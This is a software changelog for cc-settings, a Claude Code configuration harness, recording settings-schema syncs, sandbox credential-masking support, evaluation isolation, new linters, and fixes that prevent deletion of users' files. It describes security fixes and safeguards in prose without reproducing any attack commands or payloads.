crossSessionInbound("accept" | "hold" | "refuse") insrc/schemas/settings.ts— what a session does with messages arriving from your other sessions. The trap worth knowing: unset is notaccept. With no value in scope Claude Code decides per message by comparing both sessions' permission modes, and holds anything abypassPermissionssession sends. A"refuse"in project or local settings outranks every other scope, inverting the usual precedence.isolatePeerMachines(boolean) — approval gate before a message leaves the machine.truefrom any scope wins, so a checked-in project file can turn it on but never off.dialogExpiry("60s" | "5m" | "10m" | "never", default"5m") — how long a held-message approval dialog waits. Typed from the binary's own enum; the docs describe it in prose as "five minutes", which reads as a duration in milliseconds and is not.sandbox.network.allowUnixSockets/allowAllUnixSockets— predate this window but were never modelled. They decide whether a sandboxed Bash command can reach a session's inbox socket, which makes them load-bearing for this feature.- Manifest:
CLAUDE_CODE_MESSAGING_SOCKETadded toknownEnvVars,ListAgentstoknownBuiltinTools. CLAUDE-FULL.md"Resume, don't respawn" saidSendMessageresumes agents you spawned; it now also reaches your other sessions, and the rule said nothing about that.
Adopted — sandbox credential masking (upstream 2.1.224):
decode: "jwt"andmaskClaimson bothcredentials.filesandcredentials.envVarsentries. A JWT-shaped secret is replaced with a synthetic JWT rather than an opaque sentinel, so tools that parse the token structurally keep working;maskClaimsnarrows that to named claims. Both fail open — a value that doesn't verify as a JWT is left readable inside the sandbox with only a console warning, which is worth knowing before trusting either as protection.credentials.awsPairsandcredentials.sigv4(streaming/presigned/sigv4a, each"deny"by default). SigV4 signs requests with the secret itself, so a masked AWS secret produces a signature the service rejects; declaring the pair lets the proxy re-sign on egress.- These four were already in the 2.1.223 binary — 2.1.224 added validation and diagnostics, not the surface. So this closed a pre-existing gap the changelog happened to surface, not fresh drift. Nothing had been silently stripped, because the nested sandbox objects went loose in the previous sync.
Corrected:
CLAUDE_CODE_MAX_SUBAGENTS_PER_SESSIONwas documented as "default 200". Upstream removed that cap in 2.1.224; the variable is still recognized, so the row now says to set it explicitly if you want a ceiling.
Skipped, with reasons: claude self-hosted-runner and its ~30 CLAUDE_RUNNER_* env vars (Team/Enterprise, injected by the runner rather than user-set); the archive plugin source (lives in known_marketplaces.json — cc-settings models marketplace IDs only, so there's no plugin-source schema to extend); the gateway spend-limit message; the claude agents workspace-trust prompt. 2.1.226 was bug-fixes-only.
Known gap, not fixed here: the binary's settings enumeration carries ~70 top-level keys knownSettingsKeys doesn't have (theme, verbose, autoCompactEnabled, askUserQuestionTimeout, daemonColdStart, the totalTokensReminder* and ssh* families, …). Nearly all long predate this window, so folding them into a version-sync diff would have buried the actual drift. Recorded in the manifest notes; it needs its own reconciliation pass.
Files changed:
src/schemas/settings.ts,schemas/settings.schema.jsonupstream/claude-code-manifest.jsondocs/settings-reference.mdCLAUDE-FULL.mdsrc/setup.tsCHANGELOG.md
[13.7.0] — 2026-08-07
/autoresearch was scoring a contaminated environment. It sampled skill variants by spawning Agent(implementer, …) — an in-process subagent, which inherits ~/.claude/CLAUDE.md, the installed hooks, and the whole skill list. Every measurement was therefore our config plus the skill, never the skill. When the skill under test overlapped anything already in CLAUDE.md (delegation, register, the Laziness Ladder), the loop optimized toward a baseline that already contained the behavior it was trying to add, and a genuine improvement scored as worthless.
Samples now run as an isolated subprocess with settings disabled and the model pinned:
claude -p --setting-sources "" --strict-mcp-config \
--model "$AUTORESEARCH_MODEL" --append-system-prompt "$BODY" "<test input>"
--setting-sources "" loads none of user/project/local. The model pin matters for the same reason: isolation also drops the operator's saved model and effort settings, so an unpinned run silently measures whatever the CLI currently defaults to — the score then drifts between machines and across releases. The pinned model is now part of the recorded result, configurable via model: in RESEARCH.md (default claude-sonnet-5).
Two more holes closed in the same loop. Guardrails: the checklist measured whether a skill did its job but never noticed a mutation buying a higher score by cutting something that mattered — a terser variant that drops a confirmation step scores better on a concision-shaped checklist. The judge now also scores correctness and safety 1–5 plus a blocker flag, and a KEEP requires no blocker, both guardrails within 0.1 of their baseline, and the usual checklist improvement. A round that trips a guardrail logs as vetoed, not reverted — it found a real exploit in the metric and should never be re-proposed. Control arm: mutation scores are relative and say only that variant B beat variant A, never that the skill beats no skill. Publishing any "this skill helps" claim now requires an extra condition carrying a plain one-line instruction of the same intent; skill-vs-instruction is the honest delta, skill-vs-empty conflates the skill with the generic ask.
Rubric shape adapted from ayghri/i-have-adhd's eval harness (MIT); the control-arm design from juliusbrussee/caveman's, whose earlier version made exactly the skill-vs-nothing mistake and published inflated numbers because of it.
SHORTCUT: markers give the Laziness Ladder a receipt. The ladder told you to cut corners and nothing tracked the ones you cut deliberately. A deliberate simplification with a known ceiling now carries a comment naming both the ceiling and what should trigger revisiting it:
// SHORTCUT: single global lock, not per-key.
// ceiling: contention above ~50 rps
// upgrade: shard by key hash when p99 write latency climbs
The trigger is the load-bearing half — a marker naming a ceiling but no trigger is how a deferral quietly becomes permanent, since nobody knows what would make it worth fixing. bun run lint:shortcuts errors on a missing upgrade: line and warns on a missing ceiling:; it is wired into CI. /audit gains a fifth mode, debt, which collects every marker into one ledger with no-trigger entries listed first. Convention and ledger adapted from dietrichgebert/ponytail.
Two details that are easy to get wrong. The marker must be the first thing on its line: the linter's own source contains the marker text inside regex literals, and an unanchored pattern reports the linter as its own debt (there is a regression test for exactly this). And SHORTCUT: is explicitly carved out of AGENTS.md's "TODO Comments Are Instructions" rule — implementing one on sight is the over-build the ladder exists to prevent, so it comes out only once its trigger has fired.
No savings against a run that never happened. New rule in both AGENTS.md and CLAUDE-FULL.md — duplicated deliberately, since Claude Code never loads AGENTS.md and a rule living only there reaches no session or subagent. Report a delta only between two things that were both measured. "Saved ~400 lines", "cut token use 60%", "3× faster" are unknowable when the unoptimized version was never written: there is no baseline to subtract from, so the number is invented however plausible it looks. Count what exists (lines deleted in this diff, a benchmark run twice) and label any genuine extrapolation est.. This bites hardest on figures that flatter the work, which are the easiest to fabricate and the least likely to be checked.
Three files carried a version; nothing checked two of them. src/setup.ts is the documented source of truth, and a test already pinned .claude-plugin/plugin.json to it — added after that file sat at 8.1.0 for two major versions. package.json had no such test and had drifted to 13.4.3 across three releases; the CHANGELOG's top heading had none either. Both are now covered by the same installerVersion() helper in tests/plugin-manifest.test.ts, verified by deliberately desyncing package.json and watching it fail rather than by observing it pass.
Skill descriptions now read as one index. Four skills had drifted off the house convention — retro, strategist, and plan-ceo-review used description: | block scalars rendering as bullet lists, and tldr used "Use for". The Skill selector reads every description each turn and a human skims the same list in MANUAL.md; one entry as a bullet list and the next 37 as sentences makes the index unskimmable and buries the trigger phrases. All four rewritten to <what it does>. Triggers "a", "b"., and lint:skills gained two rules so they can't drift back: a multi-line description is an error, and trigger language that isn't the literal Triggers is a warning.
The first casualty of the new honesty rule was our own copy. /tldr claimed "~95% fewer tokens than reading raw files" in three places with no benchmark behind it anywhere in the repo. Replaced with a description of what the tool actually returns plus a note on how to measure it yourself — a savings number we never ran is exactly what the rule forbids, and shipping the rule while keeping the number would have been the wrong lesson.
The docs advertised a command catalog; the product is a description matcher. MANUAL.md opened by saying "You don't need to memorize this — just describe what you want", and the README then listed 38 skills by name, so a new user reasonably concluded there were 38 commands to learn. The catalog framing won because it was louder, and that was the whole learning curve.
Three fixes, no behavior change. MANUAL's install-tier tables moved from the first 60 lines down to ## Install Tiers (Light vs Full) near the end — anyone reading the manual has already installed. The Quickstart now leads with "there is nothing to memorize" and a 13-row you say → what runs table. The README gained an After installing section that shows four sentences you can type instead of a feature list, and its skills bullet describes how skills fire rather than naming them.
The table's middle rows do the load-bearing work: nine skills look at code and tell you something, and each description explains its own boundary well enough for the model to route correctly, but you only learn the boundaries by reading all nine. One line now separates them by the question being asked — /review reads your diff, /proof-of-work proves it green, /verify breaks a claim, /qa looks at pixels, /triage handles code you didn't write, /audit sweeps the repo.
Also repaired two broken anchors, one created by the section move and one that predated it (#whats-on never matched its heading). A one-off sweep confirms 0 broken intra-repo anchors across 125 markdown files.
bun run lint:links stops link rot. Section renames are silent: moving MANUAL's "Light vs Full" heading broke a link in docs/install.md with no error anywhere, and a #whats-on link had never matched its heading at all. Both were found by hand. The linter now validates every intra-repo markdown link — relative file targets must exist, #anchors must slug to a real heading — reimplementing GitHub's slug rules including the -1 suffix on duplicate headings. External URLs are never fetched. Wired into CI alongside the other linters; 41 links across 128 files, currently clean.
Its own first run reported two false positives, both the same bug: it stripped fenced code blocks but not inline code spans, so prose quoting a link as an example was validated as a real one. One of the two was a CHANGELOG entry describing a past [^)]* URL-matching bug — the matcher reproduced the very bug the text documented. Both shapes are now regression tests, and the linter was verified by deliberately breaking a real anchor and watching CI-equivalent output fail, not by observing a green run on an already-clean tree.
The prompting ideas from all three upstream repos were already absorbed — i-have-adhd's output shaping into output-styles/darkroom.md, ponytail's ladder into AGENTS.md, caveman rejected for overcorrecting the register. What this release takes is the part that was skipped: their measurement discipline.
[13.6.2] — 2026-08-06
Everyone was silently on context7's lower tier. cc-settings ships context7 as the keyless stdio transport (bunx -y @upstash/context7-mcp), and context7 documents a free API key as what "unlocks higher rate limits and use your private repositories". Nothing anywhere said so, so every install sat on the worse tier by default.
This surfaced backwards. A maintainer's machine had a hand-configured hosted entry with a key, which the installer correctly preserved and reported as "your copy is in use — cc-settings' version not applied". That message names a divergence but not its direction, so the better setup read as drift to clean up — and briefly got cleaned up.
The install summary now prints one line when our keyless entry is the one actually running:
context7 is running keyless (lower rate limits).
Higher limits + private repos: bunx ctx7 setup --claude --mcp
Free key: context7.com/dashboard
It points at ctx7 setup, which context7 maintains and which does its own OAuth, key generation, and config write. cc-settings never reads, writes, stores, or prints a key. Two reasons it hints rather than running anything: the repo has no precedent for an interactive or OAuth third-party handoff — every child-process spawn in packages.ts, pinned-tools.ts, schedule.ts, and git.ts passes stdin: "ignore" precisely so setup can never block — and the auth contract is context7's to own (their README documents Authorization: Bearer while a working local config used a CONTEXT7_API_KEY header; guessing between them is not our job). The precedent copied is cli-preflight.ts: detect, print the command, never run it, never block.
Detection reuses a signal that already existed — installMcpToClaudeJson returns the shipped server names a user definition shadowed, which showSummary already renders. No new file reads, no ~/.claude.json parsing, no sentinel state, and no suppression flag: the hint disappears by itself once you replace the entry, the same way a cli-preflight warning disappears once you install rg. New pure shouldHintContext7() in src/lib/install-display.ts, unit-tested across five cases; the load-bearing one is that a user running their own entry is never nudged.
The condition is deliberately "our shipped entry is live", not "no API key present" — cross-model review flagged the gap, and the narrower behavior is the intended one. A hand-written keyless entry also silences the hint, because inspecting an entry for auth markers would mean picking between Authorization: Bearer and a CONTEXT7_API_KEY header, and that contract belongs to context7. The reminder targets the default nobody chose.
[13.6.1] — 2026-08-06
Cross-model review of 13.6.0 (OpenAI Codex against the pushed commit) returned five findings. All five verified real; all five fixed. Two are worth reading.
--rollback could delete a personal output style — the third instance of one bug. 13.6.0 narrowed two destructive paths around the shared output-styles/ directory and missed a third: managedRestoreAllowset builds its allowlist from MANAGED_TOP_LEVEL_PATHS[].rel, so rollback treated the directory as a wholly-owned unit and deleted-then-restored it, losing any style written since the last backup. The deeper problem was that "which files do we own in here" existed as three separate expressions — a regex in install-fs.ts, a lookup map in light-profile.ts, and nothing at all in install-cmds.ts. A ownedFiles field on ManagedTopLevelEntry is now the single source, the cleanup glob is derived from that same array so the two cannot drift, and rollback restores shared dirs file-by-file. tests/output-style-preserve.test.ts now pins all three paths (install, full→light downgrade, rollback), each verified red first.
The extraction also broke an import cycle it would otherwise have created: install-fs.ts already imported light-profile.ts, so having light-profile.ts import back for the shared fact made the two mutually dependent, resolvable only by hoisting. The data has no dependencies of its own, so it now lives in src/lib/managed-paths.ts and both import downward.
The register rules were mirrored into a file Claude Code never loads. 13.6.0 stated that an output style doesn't reach subagents (true) and therefore mirrored the register rules into AGENTS.md (useless). Per the subagent docs, a non-fork subagent inherits every level of the CLAUDE.md hierarchy including ~/.claude/CLAUDE.md, and AGENTS.md is auto-loaded at no scope whatsoever — it is only read when something instructs the model to read it. The register block now lives in CLAUDE.md, carrying a comment explaining why it must not be deduplicated back into the style. AGENTS.md keeps a copy, correctly labeled as the portable one for Codex, Cursor, and humans. Built-in Explore and Plan skip CLAUDE.md as well, which is why the implementer briefing contract already requires restating critical rules in the delegation prompt.
whats-on accuracy, three fixes. It claimed AGENTS.md was "always injected, every turn" (it is not). It called all of rules/ path-conditioned, when a rule file without paths: frontmatter loads every turn — rules/README.md is one, and it had been silently costing context. It resolved an output style by filename, so the shipped darkroom.md only matched outputStyle: "Darkroom" on case-insensitive filesystems and would have false-warned on Linux; resolution now parses each style's frontmatter name. The report also no longer claims to describe "this session" from user-scope data alone — it says so plainly and names the scopes that can override it, flagging a project-level .claude/settings.json when one is present.
bun run whats-on needed the repo checkout. Most people install cc-settings and never keep the clone. docs/whats-on.md now leads with bun ~/.claude/src/scripts/whats-on.ts, which works from an install alone.
[13.6.0] — 2026-08-06
The Darkroom output style, default on. Response-style rules move out of CLAUDE-FULL.md and into output-styles/darkroom.md, installed to ~/.claude/output-styles/ and selected by "outputStyle": "Darkroom". The placement was the bug, not the rules: a CLAUDE.md instruction is delivered as a user message after the system prompt, so it competes with the system prompt and decays over a few turns. An output style is part of the system prompt, and Claude Code re-issues adherence reminders for it mid-conversation. Same rules, a delivery mechanism that doesn't wear off. Prompted by a 2026-08-06 #agentic-development thread where two engineers independently reported Opus 5's prose as "barely readable" and a hand-written communication_style.md "works for 1 to 2 turns before reverting back to gibberish."
The style carries two independent rule sets:
- Register (new) — subject first, no stacked modifiers in front of the noun, no coined terms for things that already have names, identifiers only when pointing at code, jargon defined inline on first use, effect before mechanism. It targets comprehension, never word count, and says so explicitly: length is not the target and clipping sentences is forbidden. This is deliberate. Every brevity-targeting fix the team tried first —
/caveman,/talk-normal,/tldr, ayghri/i-have-adhd — overcorrected into a register that was shorter and no clearer, which is the failure aihero.dev/skills-wait-what names: instructing on output characteristics produces "a caveman register that is shorter and no clearer." - Shape — the former "Action-First Output (always on)" rules, moved unchanged (adapted from ayghri/i-have-adhd, MIT).
Two limits are documented rather than papered over. An output style applies to the main conversation only — a subagent runs its own system prompt (a /fork is the exception, it inherits the parent's). What a subagent does inherit is the CLAUDE.md hierarchy, so the register rules are duplicated into CLAUDE.md as the copy delegated work actually reads, with a comment saying not to dedupe it. AGENTS.md carries a third copy for Codex, Cursor, and humans; Claude Code never auto-loads it. And an output style loads once per session: changing it takes effect after /clear or a new session. CLAUDE-FULL.md keeps a pointer explaining both, plus the one genuinely cc-settings-specific escalation that isn't voice (the three-strikes model: "fable" subagent pivot). To opt out: /config → Output style → Default, or set your own outputStyle — user scope beats the shipped value.
bun run whats-on — the adoption blocker was legibility, not features. From the same thread: "i don't know what cc settings ships either, that's why i'm not using it" — said by an engineer who has never installed it, while an engineer who has, asked the same question, answered "yes, afaik aha". bun src/setup.ts --status already existed but answers a different question: install health, presence counts, version drift. Counts do not tell anyone what the thing is doing to their session. The new report is effect-oriented — output style in effect, which instruction files are genuinely always-on versus path-conditioned, model and effort, every wired hook with its own leading comment as the description, then skill/agent/MCP/permission inventory — and every section carries its off-switch. Hook descriptions are read from each script's own file comment, never invented; a script with no comment prints its basename alone. --json emits the same data. It is read-only and cannot crash on a settings file it doesn't fully model.
A data-loss bug caught before it shipped — on both destructive paths. ~/.claude/output-styles/ is not a directory cc-settings owns. It is a directory it shares with the user, because Claude Code's own /config picker tells people to hand-write styles at exactly that path. Every other managed dir (agents, rules, profiles, docs) is cc-settings content end to end, and both destructive paths are written for that assumption:
cleanOldConfig— the first cut registeredoutput-stylesinMANAGED_TOP_LEVEL_PATHSwith the usual broad\.md$glob, andremoveGlobdeletes every matching file in the directory. Now scoped to/^darkroom\.md$/.lightProfilePruneTargets— a full→light downgraderm -rfs each full-only dir, andoutput-styleshad just become one. NewSHARED_DIR_OWNED_FILESmap prunes only the shipped file, leaving the directory and its other contents alone.
Either one would have deleted a personal output style — the exact artifact the people who prompted this release are hand-writing right now. tests/output-style-preserve.test.ts pins both end-to-end (install → hand-write a foreign style → re-install / downgrade → assert the foreign style survives with its content intact, and ours is refreshed or removed as the profile requires). Both tests were verified red against the unscoped versions before landing; a regression test that never failed proves nothing.
Sandbox credential masking — a schema gap that rejected valid configs. sandbox.credentials modeled mode as z.enum(["deny"]), so any settings file using "mode": "mask" failed Settings.safeParse outright. mask shipped upstream for env vars in 2.1.199 and for files in 2.1.221; both were missed. Now modeled in full: CredentialMode (deny | mask), plus extract, injectHosts, onExtractNoMatch, maskDuplicates on files and injectHosts on env vars. Chasing it surfaced a worse one — the nested network, filesystem, and credentials objects were strict z.objects, which in zod strip unknown keys rather than erroring, and network.allowedDomains (the most-used sandbox key of all) had never been modeled and was being silently dropped on every parse. All three are now z.looseObject, and allowedDomains, allowManagedDomainsOnly, tlsTerminate, and allowPlaintextInject are modeled explicitly. Verified by round-tripping the documented ~/.config/gh/hosts.yml mask example and asserting nothing is stripped.
Claude Code 2.1.220 → 2.1.223 sync.
- Adopted: the credential-masking surface above; three env vars tracked in the manifest (
CLAUDE_CODE_DISABLE_UNKNOWN_MODEL_WINDOW_ENFORCEMENT, new in 2.1.223;CLAUDE_CODE_RESUME_INTERRUPTED_TURN, never tracked;CLAUDE_CODE_DISABLE_1M_CONTEXT, whose semantics changed — it now holds every Claude model with a native 1M window to 200K via auto-compaction rather than a fixed list, which matters here because the shipped default model is 1M-native Opus 5).blockedMarketplaces/strictKnownMarketplacesaccept"owner/*"org wildcards as of 2.1.223 (no schema change needed — documented in the comments and settings reference). - Docs corrected: native
/reviewis now an alias of/code-review(2.1.223), soskills/review/SKILL.md's "distinct from native /review which inspects open PRs" was false and is fixed, along with three staleMANUAL.mdpassages./code-reviewwith no effort level now reuses the last level typed. - Verified, not adopted: 2.1.223 fixed a Bash permission bypass via tab/invisible-Unicode padding and 2.1.221 fixed zsh executing hidden commands in
[[ ]]conditionals. Both were checked against ourpermissions:checkdry-runner: it never spawns a shell (the onlyexecin the file isRegExp.exec) and has no display-vs-execute split, and it does no Unicode normalization — a padded command simply fails to match an allow rule and falls through toask. It fails closed; no change needed. - Skipped: ultraplan's removal (2.1.222) — zero references in cc-settings, confirmed by grep. ~55 other entries with no cc-settings surface.
Known gap, unchanged: sandbox.filesystem.denyRead / denyWrite are referenced in comments and docs but still not modeled as explicit fields. Now that filesystem is loose they round-trip correctly instead of being stripped, so this is a documentation-completeness gap rather than a correctness one.
[13.5.0] — 2026-08-04
Reading diffs — /review-batch and /review now present agent diffs as reading diffs: the real git diff abridged by remove/fold/elide operations against verbatim lines, never a prose-only summary (prose can lie by omission; a diff can't). Re-entry cards carry one for any change past ~40 changed lines; /review walks one past ~200. Two rules exist specifically because the diff author is an untrusted agent: moves get symmetric treatment with (unchanged) earned by actually comparing both sides, and every reading diff closes with a dropped-content accounting line that never silences dependency changes — new packages, changed import targets, and lockfile version/integrity bumps all get named, and a lockfile change with no matching manifest change is a finding, not noise. Protocol adapted from boldsoftware/meat (Apache-2.0).
Known-vendor hook trust — the hook auditor's KNOWN_VENDOR_HOOK_PATTERNS: third-party integrations whose settings.json hook commands are fully specified inline can classify as trusted via an exact-anchored template match — the template match is the content verification, since there's no file on disk to drift. First entry: the six hooks Programa.app installs, which previously flagged unknown on every audit run (alarm fatigue on the one report that must stay readable). The only variable part is an explicit alternation of the six verified event names — no open token classes — and malware signatures still run first and always win. Hardened per security review + Codex cross-review: newline-anchor regression tests, and a CI-enforced shape contract over the bank (flagless, ^...$-anchored, no bare wildcard dots) so a future "just another regex line" vendor entry can't silently regress the property. A vendor shipping a new hook event reappears as unknown until the alternation is deliberately extended — that re-review is the point.
README rewritten as a capability summary — one question answered: what cc-settings adds on top of vanilla Claude Code. Install mechanics moved to docs/install.md; the advisory → gate → measurement loop (13.3.0's "The flow" README section) moved to docs/the-flow.md. Cross-model review of the restructure caught four long-standing factual errors, now fixed: rule count is 10 (the index was being counted), hook wiring is 17 event types / 34 command bindings, the MCP fragment lands in ~/.claude.json (not composed into settings.json), and the destructive-command gate is the permissions deny-list with safety-net as fail-open defense-in-depth — the old text inverted that (SECURITY.md is the authority).
[13.4.3] — 2026-08-03
Follow-up bug from the sonor → sondeo → farolero rename churn: each rename left the previous hook file's settings.json entry behind as an "unrecognized" user extra, since the merger has no way to know the old and new commands are the same hook renamed — so it pointed at a .ts file cc-settings no longer ships, and every git commit spewed Module not found PreToolUse errors. The installer now prunes any existing hook entry whose command references a ~/.claude/src/{scripts,hooks}/*.ts file that the source tree being installed doesn't ship — genuinely custom hooks (raw shell commands, scripts anywhere else on disk) are untouched. Fixes the noise for anyone who installed 13.4.0–13.4.2; no other behavior change.
[13.4.2] — 2026-08-03
npm's similarity filter also rejected sondeo. The final name, validated against the live registry via a published name-reservation stub, is farolero (Spanish: the lamplighter). The 13.4.1 glue below is renamed to match — no behavior change.
pre-commit-sondeo.ts→pre-commit-farolero.ts(hook file, functions, dependency check, marker string, spawned binary)./triage's sondeo sweep step is now the farolero sweep, same behavior.
[13.4.1] — 2026-08-03 (renamed to farolero in 13.4.2)
The sibling project renamed itself from sonor to sondeo after npm rejected "sonor" as too similar to existing packages (sonner, hono, color, sinon). The 13.4.0 glue below is renamed to match — no behavior change.
pre-commit-sonor.ts→pre-commit-sondeo.ts(hook file, functions, dependency check, marker string, spawned binary)./triage's sonor sweep step is now the sondeo sweep, same behavior.
[13.4.0] — 2026-08-03 (renamed to sondeo in 13.4.1)
The cc-settings side of the sonor glue (sonor issue #5, item 4) — the part that has to live here since sonor itself must work with zero Claude Code assumptions.
- New
pre-commit-sonor.tsPreToolUse hook: ongit commit*, if the target repo has sonor as a dependency and installed, runssonor ratchet --changedand blocks on a red gate. Skips silently when sonor isn't a dependency, isn't installed, or its own git hooks are already active for the repo (thesonor-managedmarker oncore.hooksPath/.git/hooks/pre-commit) — this hook is a fallback for repos that declared sonor but never ransonor install-hooks, not a replacement for sonor's own commit-time and CI enforcement. Fail-open on every operational failure (missing binary, spawn error, timeout, sonor's own exit-2 code); only a genuine ratchet exit 1 blocks. /triagegains a sonor sweep step: when the repo under triage has sonor installed,sonor report --jsonfolds into the ranked findings (byRulecounts,byAreahotspots, thebaselineobject as a ready-to-commit adoption path). Repos without sonor get a one-line adoption note instead — the read-only guardrail on external repos still applies, nothing gets installed on a client's behalf.
[13.3.0] — 2026-08-03
The advisory → gate → measure loop, extracted from a Slack-thread insight (ratchet tests beat prose guardrails because "advisory output is ignorable; a non-zero exit is not") and applied across the harness. The README's new "The flow" section is the map.
Ratchets (gates):
- The 40-skill soft cap is now
SKILL_COUNT_BASELINE— an error in both directions, so adding a skill without consolidating fails, and removing one fails until the baseline is lowered and committed. Every movement of the number lands in git with a reviewer. Lowered 39 → 38 in this release by the/auditmerge below. noExplicitAnyflipped warn → error (zero violations existed; the door is just closed now).git pushis gated on the full proof battery (typecheck + tests + lint) via the newpre-push-proofhook — repos that push straight to main never hit the PR-time gate, so tsc-at-commit was their only local gate. Matcher hardened againstgit -C/command/env-prefix bypasses, token-exact--dry-run/-n/--helpexemptions, quote-aware segment splitting.
Escalation advisory (advisory):
- When the same tool+error signature fails 3× in a session, the next prompt suggests a scoped
Agent(implementer, <slice>, model: "fable")pass instead of another retry — model-aware (Fable sessions get a fresh-context suggestion instead), quota-gated (silent at elevated/critical so it never contradicts quota-steer), once per signature, 10-min debounce. Error samples are redacted-then-bounded before storage (truncate-first leaked credential prefixes pastredactSecrets' minimum-length patterns — caught by security review, fixed on all three sinks), session ids validated before filename use, injected samples labeled as data.
Telemetry (measurement):
- Fired-vs-acted telemetry for both the escalation advisory and the delegation nudge:
bun run escalate:stats [--days N], per-advisory act-rates, structurally ≤ 100% (reader-side dedupe absorbs the marker race and write-ordering skew)./retroreports the act-rate weekly.claude-auditgains a gate-firings section readingsafety-net.log(reasons only, never commands). The act-rate is the evidence gate for any future promotion of an advisory to a gate.
Hook delivery (probe-verified fix):
- A headless marker probe against 2.1.220 proved plain stdout from hooks on tool events never reaches the model, and
async: truedoes not prevent envelope injection — the docs had both backwards. Six silently-dead advisories converted to theadditionalContextenvelope: post-edit-tsc (now bounded to 20 diagnostic lines), cwd-changed, check-docs-before-install, post-edit's review banner, post-failure's repeated-failure hint, pre-edit-validate's warnings.docs/hooks-reference.mdnow carries the probe matrix with honest scope (PreToolUse/PostToolUse verified; PostToolUseFailure/CwdChanged unprobed).
Skills:
/nuclear-review+/adversarial-auditmerged into/audit(four modes: maintainability / codebase / docs / process). The bare phrase "audit the codebase" was lexically ambiguous between them; the merged skill owns it and asks one disambiguating question when the phrasing doesn't pin a mode. Both retired names tombstoned so existing installs prune them.
Sibling repo: sonor created — the ratchet pattern as a standalone dev-dependency for client repos (any harness, any model), with the two-mode design (report to triage, ratchet to hold) in its README and first five issues.
[13.2.2] — 2026-07-31
The install summary counted every skill directory under ~/.claude/skills/, so a machine with plugin or third-party skills alongside cc-settings' own printed skills/ (41) under the heading "Installed" when cc-settings had installed 39. It now counts only the skills it ships.
Tombstones are excluded from the other direction: MANAGED_SKILLS includes retired names the installer deletes, and counting a directory it just removed would be worse than counting one it never wrote. The count is against ACTIVE_SKILLS.
[13.2.1] — 2026-07-31
Dropped the CLAUDE_CODE_MAX_SUBAGENT_SPAWN_DEPTH pin. It was set to 2 in v12.6.0 to loosen Claude Code's default of 1, so maestro and deslopper could still fan out when invoked as subagents. Upstream 2.1.219 raised its own default to 3, which turned the identical pin into a restriction. Installs now inherit whatever upstream defaults to.
Removing it from config/ alone would only have fixed new installs. env merges as a union with the user winning every conflict, so a key cc-settings stops shipping survives on every existing machine forever — new installs would get depth 3 while everyone who installed since 22 July stayed frozen at 2, with nothing to explain the difference.
So env now has the same retirement mechanism permissions and hook commands already had: DEPRECATED_ENV_KEYS. A key listed there is dropped from an existing settings.json unless the team config still ships it, which means re-adding a retired key later is a one-line config change rather than an edit in two places. The install prints what it pruned.
The tradeoff matches the two existing registries: someone who set the same variable by hand loses their value. That is acceptable for a key we chose for them and wrong for anything we never wrote, so only exact keys cc-settings itself shipped belong in the list.
[13.2.0] — 2026-07-31
Sync with Claude Code 2.1.220 (from 2.1.217).
Adopted:
sandbox.network.strictAllowlist(2.1.219) — denies hosts that aren't on the allowlist outright instead of prompting, turning the allowlist from advisory into enforcing.src/schemas/settings.ts,docs/settings-reference.md.DirectoryAddedhook event (2.1.219) — fires after/add-diror the SDK'sregister_repo_rootadds a working directory mid-session. Thirtieth event.src/schemas/hooks.ts, and the manifest'sknownHookEvents, which the scanner does diff, so this was a real gap rather than a documentation one.workflowSizeGuideline(2.1.219) — advisory ceiling on how many agents a dynamic workflow spawns, defaulting to"medium"(under 15). Typed as a bare string, not an enum: the changelog names the default but never lists the accepted values, and a closed set would reject a real one.src/schemas/settings.ts,docs/settings-reference.md.
Both settings keys already parsed before this, since the top-level schema is loose and sandbox.network is a plain object that strips unknowns. What was missing is the emitted JSON Schema that drives IDE autocomplete for settings.json.
Documented, no code change:
- Skills with
context: forknow run in the background by default (2.1.218). That covers 23 of the 39 skills here, so most of the library changed execution model in a patch release: the result arrives as a task notification rather than streaming inline.docs/frontmatter-reference.md,docs/skill-authoring.md,skills/README.md. - Subagent nesting depth default went from 1 to 3 (2.1.219).
docs/agent-models.md,docs/settings-reference.md. - Dynamic workflows default to a medium size guideline (2.1.219).
skills/orchestrate,skills/nuclear-review. /code-reviewruns as a background subagent, and/ultrareviewargument handling is fixed (2.1.218).MANUAL.md.
Worth a decision: config/10-core.json pins CLAUDE_CODE_MAX_SUBAGENT_SPAWN_DEPTH to 2. That used to loosen upstream's default of 1; upstream now defaults to 3, so the same pin is a restriction. Documented as-is rather than changed, since whether maestro and deslopper should get the extra depth is a behavior call.
Opus 5 becoming the default Opus model was a no-op here — config/10-core.json already pinned claude-opus-5. The rest of the three releases was TUI, vim, screen-reader, Windows-path, Bedrock, and gateway fixes with no cc-settings surface.
Separately, docs/frontmatter-reference.md's skill table was missing triage and adhd, so its category counts summed to 38 rather than 39. Corrected while fixing the fork count.
[13.1.2] — 2026-07-31
The remaining four fixture git helpers now throw instead of discarding exit codes. A failed git commit in handoff, checkpoint, context-continuity-gaps, or session-continuity used to leave a repo with no history and let the test pass anyway — which is how yesterday's signing incident stayed invisible in three of the six suites that had it.
Errors carry the command, the repo path, and the captured stderr, matching the helper auto-update-script.test.ts has always had. That meant switching stderr: "ignore" to "pipe"; an error reading only "git failed" would leave the next person debugging a red suite with no cause, which was the actual problem.
No test broke. With v13.1.1's isolation in place the fixture commits all succeed, so nothing was still passing on a broken fixture. All 26 call sites across the four files were checked for a git command that legitimately expects to fail — there are none, so no opt-out was needed.
[13.1.1] — 2026-07-31
Test fixtures no longer inherit your global git config. Six suites create throwaway repos in the temp dir and commit into them, and those commits picked up whatever ~/.gitconfig said — so on a machine that signs commits through 1Password, a screen lock mid-run was enough to fail four tests for reasons unrelated to the code. CI never saw it, because CI has no signing configured. Every fixture git call and every subprocess spawned under test now runs with GIT_CONFIG_GLOBAL and GIT_CONFIG_SYSTEM pointed at /dev/null.
Signing was just the instance that surfaced. The same leak applied to core.hooksPath, commit.template, aliases, and init.templateDir.
Three of the six suites had been passing on quietly broken fixtures. Their git() helpers discard exit codes, so a failed commit left a repo with no history and the tests passed anyway — they never asserted on it. The count of assertions actually executed across these files goes from 259 to 272 with the fix in place, under a config that breaks signing.
scripts-smoke.test.ts had already worked this out and disabled commit.gpgsign and core.hooksPath by hand; it now uses the same mechanism as everything else. Its core.autocrlf false stays — that guards a real Windows-runner CRLF bug, and nulling the global config does not cover a per-repo setting.
[13.1.0] — 2026-07-31
Each install now records what it wrote to settings.json, in ~/.claude/.cc-settings-baseline.json. Nothing reads it yet — that is the point.
